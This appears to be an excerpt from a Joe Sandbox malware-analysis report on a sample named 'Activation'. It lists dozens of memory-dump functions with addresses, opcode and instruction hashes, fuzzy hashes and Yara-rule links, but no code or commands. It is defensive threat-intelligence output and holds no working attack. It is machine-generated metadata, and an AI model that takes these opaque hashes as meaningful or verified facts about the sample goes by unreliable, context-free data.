Opcode ID: 746392bbfd97806dbe39305a1748c8c711c875201af43b2ad903d5a6629f19d0
Instruction ID: 4943851a31867585af588c4c3346c16f10ad0abdd4a965b13fffcada456e9bc1
Opcode Fuzzy Hash: 746392bbfd97806dbe39305a1748c8c711c875201af43b2ad903d5a6629f19d0
Instruction Fuzzy Hash: C6214979504244EFDB01CF98D5C8B26BF65FB84328F20C56DEA094B356C376D846CBA1

Function 01497BE0 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09d13dc787553dd546a05f5fa0c724de8d66e2e44185b3897660277ef06e808c
Instruction ID: f386e3d6b8f62c79a6a7414a6b76e8b544d60326e2b8d481571cd223726842cf
Opcode Fuzzy Hash: 09d13dc787553dd546a05f5fa0c724de8d66e2e44185b3897660277ef06e808c
Instruction Fuzzy Hash: 8D21C632B101158BCF14DBA4E8115ED7BB6FBC9316F00966AD906A7264DF352D06CFD1

Function 05CB0D08 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f657fef56f12d016273bc707a4bccfb1621c12721226f47cb85687b7cacb39e
Instruction ID: 28e7cfb2e20802fe4c7708206b00733c1588c5014f602944d30581df39f59b61
Opcode Fuzzy Hash: 0f657fef56f12d016273bc707a4bccfb1621c12721226f47cb85687b7cacb39e
Instruction Fuzzy Hash: 622171317002058FDB54EB79D5646AE7BFAAFA9214F100828D006EB3A0DF79AD41CB90

Function 05CB0024 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddc5fd7146de93eee9510c01fe274090133dbce02f8dd66bc39ebd77035550a6
Instruction ID: cd6ae91b38dea1ff333880a5b1a74a7d18d2ccd9f538f3768a8a1379731bbce9
Opcode Fuzzy Hash: ddc5fd7146de93eee9510c01fe274090133dbce02f8dd66bc39ebd77035550a6
Instruction Fuzzy Hash: 123129B46597808FE3028B70F8A677D3F76FB49749F64846AE8829B3C5CE781801CB50

Function 01498A48 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fad35e50f2845f37d044f3b84381fbbf5c78afc20f72c1e903e93ac5a66093f
Instruction ID: dcb6cc080da97de8d6386aeb570aab506aa19ca7e21f22ce11bb3eca62d058a9
Opcode Fuzzy Hash: 3fad35e50f2845f37d044f3b84381fbbf5c78afc20f72c1e903e93ac5a66093f
Instruction Fuzzy Hash: 4F215E71B001099FCF40DFADD9809AEBBF5FBD8310B10812AE519E7214D735AD058BA0

Function 0149AE00 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efe27f4ce0c6ed164655b3ea459cf71bd648652966a4b190b0f9495f38c68a41
Instruction ID: 4e979ac57cb8ee215412ab5dd5fb7c32e40721d50fd24e2172023bc5a87e0d19
Opcode Fuzzy Hash: efe27f4ce0c6ed164655b3ea459cf71bd648652966a4b190b0f9495f38c68a41
Instruction Fuzzy Hash: EB1125227102520FCB49F77DA82067F2BEB9FEA260724817ED40ACB3A4DD399C0247D1

Function 0149678D Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d719606fb84e6accf26bfa68a32ed2315b79e166951ea8a722568fbb17bd8a0
Instruction ID: d5058180238edc951dc5999df8501907ceb3e343dcb9c6c01b0f79a80cd822e4
Opcode Fuzzy Hash: 3d719606fb84e6accf26bfa68a32ed2315b79e166951ea8a722568fbb17bd8a0
Instruction Fuzzy Hash: 6D11D374A09381CFCB22CF78C85059ABFB1FF8A31171644ABD485DB622D731AC06C761

Function 05CB0040 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8d11a9205f0b0c67f3e8c2a8bdf5b0007a30120bb8f023c49c4c9a13ccc1b65
Instruction ID: 436a69709ff0f1b1527852e25321b87e7e50fe826d7d8acbc7a39fea537bbc55
Opcode Fuzzy Hash: c8d11a9205f0b0c67f3e8c2a8bdf5b0007a30120bb8f023c49c4c9a13ccc1b65
Instruction Fuzzy Hash: 1C2128B86557409FE3019B61F4A6B7D3F6AF788749F608026F9429B3C4CE791D01CB50

Function 0149A796 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 749fd42c308ad120edfa6262be3c373f729f682bebb16ea2d26e527a7176622d
Instruction ID: 13e38b6742320a11b74f27140b39dc99c3075103f2b5fd1b8c0b554f901effd5
Opcode Fuzzy Hash: 749fd42c308ad120edfa6262be3c373f729f682bebb16ea2d26e527a7176622d
Instruction Fuzzy Hash: EB11DD31F001099BDB04DBA5D991BEEBBF9AF48710F24405AE515EB390DF74AD06CB91

Function 01497600 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10222f5455004b3b5a54d2d2f6d8633c28d1cf822343981b85171855ee80711a
Instruction ID: 35762c300849fe8b891b7a9f4e591e88d26194f7c629eddaf6c679c2a1c0f653
Opcode Fuzzy Hash: 10222f5455004b3b5a54d2d2f6d8633c28d1cf822343981b85171855ee80711a
Instruction Fuzzy Hash: 99117371F101199FCF54EBB8E454AAE7BF9EF89750B10416AE40DD7251EB349C028BD1

Function 05CB0BE8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b50bdb867cabb4b71b191fb735c1e591be5f85032ce9e2454327a2cd022b6b3
Instruction ID: de8d00a7c32bba30063d969849419ecf4bf52c431611cd05d4207555d211c986
Opcode Fuzzy Hash: 6b50bdb867cabb4b71b191fb735c1e591be5f85032ce9e2454327a2cd022b6b3
Instruction Fuzzy Hash: BC119D31B002168FDB58EB79C4647AE3BFAAF99200F10083DD402AB3A4DF799D018781

Function 01494CC8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfaf34bc2dd69c18604fe861f1b0dc2d11b3226363180feb8646201dfef97b41
Instruction ID: 895610e83743bc586b911d89567288369d3834320c2f43466ac615693ccaccd2
Opcode Fuzzy Hash: cfaf34bc2dd69c18604fe861f1b0dc2d11b3226363180feb8646201dfef97b41
Instruction Fuzzy Hash: B1112C34D04209EFCB05CFA9D6905ADBFB6EB45304F24C6AAC40597355E734AE97CB50

Function 013FD073 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960259271.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13fd000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 217f0fba8caa8b16d1d25c5bb43c2518e8f059a6d877900c065642b2e67e4d94
Instruction ID: 735c876740050b007183d7cf793c5eb35b9110b417c9106b738f764874e1b2fd
Opcode Fuzzy Hash: 217f0fba8caa8b16d1d25c5bb43c2518e8f059a6d877900c065642b2e67e4d94
Instruction Fuzzy Hash: 9611B276504284CFDB12CF54D9C4B16FF61FB84324F24C6AED9494B646C33AD44ACB51

Function 013FD223 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960259271.00000000013FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13fd000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5701a236d18853aa071dc4848cb3bbfcd821648bd1ba325b7c6c8f7a8eaa714
Instruction ID: cd92b13db4f108daf0398070297a9bd47821030d2e02481e1457b14386d94596
Opcode Fuzzy Hash: e5701a236d18853aa071dc4848cb3bbfcd821648bd1ba325b7c6c8f7a8eaa714
Instruction Fuzzy Hash: F511D079504280DFDB02CF58D5C8B15BF61FB44328F24C6AEDD494B656C33AD44ACB91

Function 014983A8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dddbf5a642bd14a6a8599455b8b4f7c8cb347f1770941dcbe8a032825bf3ee87
Instruction ID: 4066d475572de2a796f87a98a4a10a1a45bacc4caeee0b0ce122653487bd4c14
Opcode Fuzzy Hash: dddbf5a642bd14a6a8599455b8b4f7c8cb347f1770941dcbe8a032825bf3ee87
Instruction Fuzzy Hash: 3A11CB30A0020A8FCF54DB78D9506AF7BB5FF96300B0046BED005E7260EB34AD068B90

Function 01499C10 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 709bda9c47a637c6b221a92a8ca0e285b0fd5fb535e0f5987130601015f45142
Instruction ID: 56134312c605ce951cec64f712ee449a3dce8568e9db9f38f052edd3d9a3c3cd
Opcode Fuzzy Hash: 709bda9c47a637c6b221a92a8ca0e285b0fd5fb535e0f5987130601015f45142
Instruction Fuzzy Hash: 76F069327100090BDB45A37AE81067F3ADE8BE9269F10403AD10DC73A0EE29AC8343D5

Function 0149A898 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5a7d2d481c330d99a549fc2c182918404e0e2cc19992d3c6406651899d5641
Instruction ID: fe14a8e09c38bb3adefd2fb8da6011bb6231a5ba5bc09eed17a02c6413dd8afe
Opcode Fuzzy Hash: 5c5a7d2d481c330d99a549fc2c182918404e0e2cc19992d3c6406651899d5641
Instruction Fuzzy Hash: B401AD35B492068BDB15DB6C946062B7FA1AF8A320725447BD909CF362EA31DC829390

Function 01499C00 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae57dbbaf0f1a78821360c7164166df3070a61a667009dfc128e931cadbc1481
Instruction ID: 991513f10df5fdbad6828d115002d3c0e37cf2263a4e42038e17f6d2f4b8fbae
Opcode Fuzzy Hash: ae57dbbaf0f1a78821360c7164166df3070a61a667009dfc128e931cadbc1481
Instruction Fuzzy Hash: 3C0162317111860FDB46A379D81476F3BDA8BEA214F14406A944DC73E1EE29AC4783D6

Function 014979D8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f57eb954b3797c8cc33b6bfc4e601a358963c054d5bdea6e0a4dc56b2cf63eb9
Instruction ID: c82a565f0174b014debb643cd59e3775b82130f0306d5016721c94611c4acd34
Opcode Fuzzy Hash: f57eb954b3797c8cc33b6bfc4e601a358963c054d5bdea6e0a4dc56b2cf63eb9
Instruction Fuzzy Hash: AE012971E0520A8FCF40EBB9E5502EEBFF6EB99310F10416AD009E7254EA345D06CBA2

Function 013ED8C1 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960091861.00000000013ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 013ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13ed000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331335535abb65f4cc0dac3ab517b8285a3e962d5bb932313345363ceced0e3c
Instruction ID: 87225f16ed555213bd46fb8637675a9beedacd9c493299db6f4543a01d696959
Opcode Fuzzy Hash: 331335535abb65f4cc0dac3ab517b8285a3e962d5bb932313345363ceced0e3c
Instruction Fuzzy Hash: B5012B710043589AE7508F59DD88B67FFD8EF41368F08C429FD0D5E5C6C2789840C6B1

Function 01497BF0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aaa0a2c7bc14cfde6bb71d4aa4f8ec27cc0164ca463ee43040fd33d255bb1d9
Instruction ID: 80c9e9693c8ddc1bcfdb54fcc65fe3afb08a178fe3a6f63f656813dedbf67c86
Opcode Fuzzy Hash: 4aaa0a2c7bc14cfde6bb71d4aa4f8ec27cc0164ca463ee43040fd33d255bb1d9
Instruction Fuzzy Hash: 28015E32B102298BCF05AB68E8145EE7BBAFBC9311F405669D406A7354DF386D058FD1

Function 0149FC0C Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f6e778a74d75ac41ca52e50caff2f2c3975a3160b332c23099e3617e0391180
Instruction ID: 5917d5b0a1b12eb516b4f064f489a4a8c944ad4dc446122213385fe49af9911d
Opcode Fuzzy Hash: 2f6e778a74d75ac41ca52e50caff2f2c3975a3160b332c23099e3617e0391180
Instruction Fuzzy Hash: CB011779A00209DFCB10CFAAC98599EBFF5AB4C220F24C159E924AB3A1C6309944DB50

Function 0149FC18 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eb814b5112f509143ad4d9f4bf389744d4937d31d1cfe276011188ab66309cf
Instruction ID: 1a92ee1a8b5024f2487779f289f14da3a370ad16befdb2fecadc632ef8d49741
Opcode Fuzzy Hash: 6eb814b5112f509143ad4d9f4bf389744d4937d31d1cfe276011188ab66309cf
Instruction Fuzzy Hash: DC01CC75A00209DFDB10CFAAC48499EBFF5AF4D320F25C155E925A7361CA319D44DF64

Function 01496E71 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9ed7c819481a30dfa7fdd3ae1ae5c906c8dba2c5f86c4e627a6c24508d76e6a
Instruction ID: 9df226d8907ea27e3ec5bb05f21e1fc36c0a24579eaa8a34906ab19584b7e3b4
Opcode Fuzzy Hash: e9ed7c819481a30dfa7fdd3ae1ae5c906c8dba2c5f86c4e627a6c24508d76e6a
Instruction Fuzzy Hash: BA01DF71A006248FCF22CF58D96096AFFB1FF843303164A5AE465972A1D330BC10CB95

Function 01494CA3 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e89ac45fe5024ef5e957390395938c7d281c13ce43c4d742ea26810ae55f33b
Instruction ID: d4ae1c512990cdc850359ac334a556e35f400c40003a48c4e780a1f0ccb120f0
Opcode Fuzzy Hash: 6e89ac45fe5024ef5e957390395938c7d281c13ce43c4d742ea26810ae55f33b
Instruction Fuzzy Hash: 5A017C3094E3819FD702DB74D9646987FB1EB4A300B18C6EBC484CB266E6795D0ACB62

Function 014967C8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a691bf24127ab6059205c19d32388a2adb8e490747a9eed9c6fd47c1b3cb92c
Instruction ID: d094f726eb206031f0bbbcd79a8c35a7ffbea762a4d06299cebaa512603eb90a
Opcode Fuzzy Hash: 7a691bf24127ab6059205c19d32388a2adb8e490747a9eed9c6fd47c1b3cb92c
Instruction Fuzzy Hash: 47F01D75B002059F8B24DF69D84486ABBB6FB882157108869E95A97711DB31AC01CBA1

Function 013ED8C0 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960091861.00000000013ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 013ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13ed000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17f837e064c98b050eb423fc2c38d36df78068a6d79689a88d6c5b46b04f2220
Instruction ID: 57f8ae975ec0b356d4d70d9a1fd2f0f0c3b6f858fb8c4c30006e18dd36c182ed
Opcode Fuzzy Hash: 17f837e064c98b050eb423fc2c38d36df78068a6d79689a88d6c5b46b04f2220
Instruction Fuzzy Hash: 01F0C272004344AAE7208E0ADD88B66FFD8EF41374F18C45AED4C1F286C2789844CAB0

Function 01491130 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c07a9af411b2574af24d97e78aa433c902fad3ab015df5cffaba90eefd8d70bb
Instruction ID: bd4b45a962589e121d10d6c152dde1227f84adad4412fbbfc5df8d1933e51038
Opcode Fuzzy Hash: c07a9af411b2574af24d97e78aa433c902fad3ab015df5cffaba90eefd8d70bb
Instruction Fuzzy Hash: CBF08170A05381ABEF799BB8E81972F3F78AB5A754F04809FD441872B5CA38C944CB52

Function 0149FCA9 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91b1c4164c2a8f202041df23c406586dac464fc8e63e95e461396819a2619e47
Instruction ID: 5311c0829f542ef8a26b3dcbeedf766ee1a9bf4271dd10ee270a30b95291b7fb
Opcode Fuzzy Hash: 91b1c4164c2a8f202041df23c406586dac464fc8e63e95e461396819a2619e47
Instruction Fuzzy Hash: B8F0E5373001109BC3048A1EEC85E5EBFEAEBCD220B544269F115D33A0C961FC018760

Function 0149ED50 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f5a2521bae07b3f4f1f065d8a7a740400a1c7e5f6a214c49142b9d74fc1f0a5
Instruction ID: cebaa588760b7f02b694e4d49fffac56cb7c12243c0d1009d8d9f6b0a93b3b2c
Opcode Fuzzy Hash: 8f5a2521bae07b3f4f1f065d8a7a740400a1c7e5f6a214c49142b9d74fc1f0a5
Instruction Fuzzy Hash: EFE0D8313010260BCB44E279A4003BE36CEDBE5264F008176D00EC73A1ED38CD4243C6

Function 01490827 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ffef6a5343eb114a51d6037b181175f389fbe0bf1f8f499fdc07702a0f6ab0d
Instruction ID: 24d9c571d9ce61b9580ba654038b734c7e30e8acc7343cfa88a6b5b614137e4f
Opcode Fuzzy Hash: 3ffef6a5343eb114a51d6037b181175f389fbe0bf1f8f499fdc07702a0f6ab0d
Instruction Fuzzy Hash: 83F03A3090E3C59FCB42CB7499A04A87FB5AE4620571980DFD448CB6A3E6351E19DB61

Function 0149FCB8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 773c501ed95dd79ce952e05456c77436285655498758d490bc3012e86ff9ff83
Instruction ID: bbac39577ca6259ff2a846e9852a5c1242641c94ed841b220016f56934221b46
Opcode Fuzzy Hash: 773c501ed95dd79ce952e05456c77436285655498758d490bc3012e86ff9ff83
Instruction Fuzzy Hash: 80E0DF36300120ABC3049A5EE888C5FBBEAFFCC220711406AF50AC3360CD71EC0187A0

Function 01494A68 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 886a49269c43386a2a90734fd29ed70c87b831d84e1161a2e29503c543e12598
Instruction ID: 76121d1fa484679a478f498e38b06000e45c636dfef84d9ad3f0ee584cd1971b
Opcode Fuzzy Hash: 886a49269c43386a2a90734fd29ed70c87b831d84e1161a2e29503c543e12598
Instruction Fuzzy Hash: BFE09271904349AFC741CFB8D9525ECBFF4FF46214B10449DC44ADB211D6302E169B40

Function 01498C17 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d87978806602643a5e2deefe4e37aa812087f0e1cb764a2482031b4d6cd5010f
Instruction ID: 7b9d68fb80be9a795611e5f80e6fc33eb026055a3ea11bb1a3e9731a2dbf267b
Opcode Fuzzy Hash: d87978806602643a5e2deefe4e37aa812087f0e1cb764a2482031b4d6cd5010f
Instruction Fuzzy Hash: 2BE02230A4534ADFC701DFB8D8116ECBBB4EB16300F00C0EEC444C7282D6314E088B80

Function 01497D68 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34842452950f97a4c67ade02331f28a8cfa945fe52f4de893566569298bc43d6
Instruction ID: 202716a028d79bcc2a4a76f287349079f9772d1a6d68567c7f36e492ad799930
Opcode Fuzzy Hash: 34842452950f97a4c67ade02331f28a8cfa945fe52f4de893566569298bc43d6
Instruction Fuzzy Hash: 0EE06D72904280DBCB50CFA8D50169FBFE0FF89264B24829AD499DB252E3368912CB80

Function 01497D78 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0153bc0418753e6bb01a90b52df7db462672fa824019b6d4104ebaa5836ec487
Instruction ID: 11c4c628cb5f39bd0000c2b0ce9f707a8b8b7797cce8b1cd6fcbb22a016930a7
Opcode Fuzzy Hash: 0153bc0418753e6bb01a90b52df7db462672fa824019b6d4104ebaa5836ec487
Instruction Fuzzy Hash: 2AE0EC71D001199F8B80EFACD9015AEBBF4EF48250B1085AAD91DE7201E7319A12CBD1

Function 01497DDB Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c013110b6ba9676f15113ddcf83bbec12d97af629a9be78cffcac0ec1bb2f71
Instruction ID: dada5cc8bc13aea4d45712f43554edfb05c8bd0b0c508c0c06c2596d66708537
Opcode Fuzzy Hash: 6c013110b6ba9676f15113ddcf83bbec12d97af629a9be78cffcac0ec1bb2f71
Instruction Fuzzy Hash: 06E0EC70941209EFCB54DFB8E946AADBBF5FF89308B1096AED809E7214D6312E059B40

Function 01490848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24eda0d6768e20cea3b738795010e16855ece960f37d819f314fed79329e57d0
Instruction ID: e4214fe79eacc180e8b41ebce6747d72a6446d2623600ae231b545cf122d9877
Opcode Fuzzy Hash: 24eda0d6768e20cea3b738795010e16855ece960f37d819f314fed79329e57d0
Instruction Fuzzy Hash: 43D01730A00309EFCB00DFA8EA455ADBBF9FB48309F1045A89809D7244EA316E189B80

Function 014910FC Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

